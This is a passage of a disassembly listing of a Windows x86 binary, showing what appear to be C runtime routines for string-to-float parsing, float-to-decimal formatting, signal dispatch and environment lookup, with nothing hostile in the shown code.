--------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_433E80 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_433E80 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_433E80 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_433E7C, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_433E80 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_433E7C, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_433E7C, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_433E7C, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_433E7C, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_4CDC94 mov eax, offset dword_4CDC94 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_4CDC90 mov eax, offset dword_4CDC90 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_4CDC98 mov eax, offset dword_4CDC98 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_4CDC8C mov eax, offset dword_4CDC8C loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_4CDA68 and dword_4CDA68, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_4362EC mov dword_4362EC, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_4362E0 mov ecx, dword_4362E4 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:436270h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_4362EC push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_4CDA68, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_4362EC, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_43626C, edx push esi mov eax, offset dword_436268 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_4CF030, 0 push ebx push esi mov esi, dword_4CD9DC push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_4CD9E4, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_4CD9DC test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, 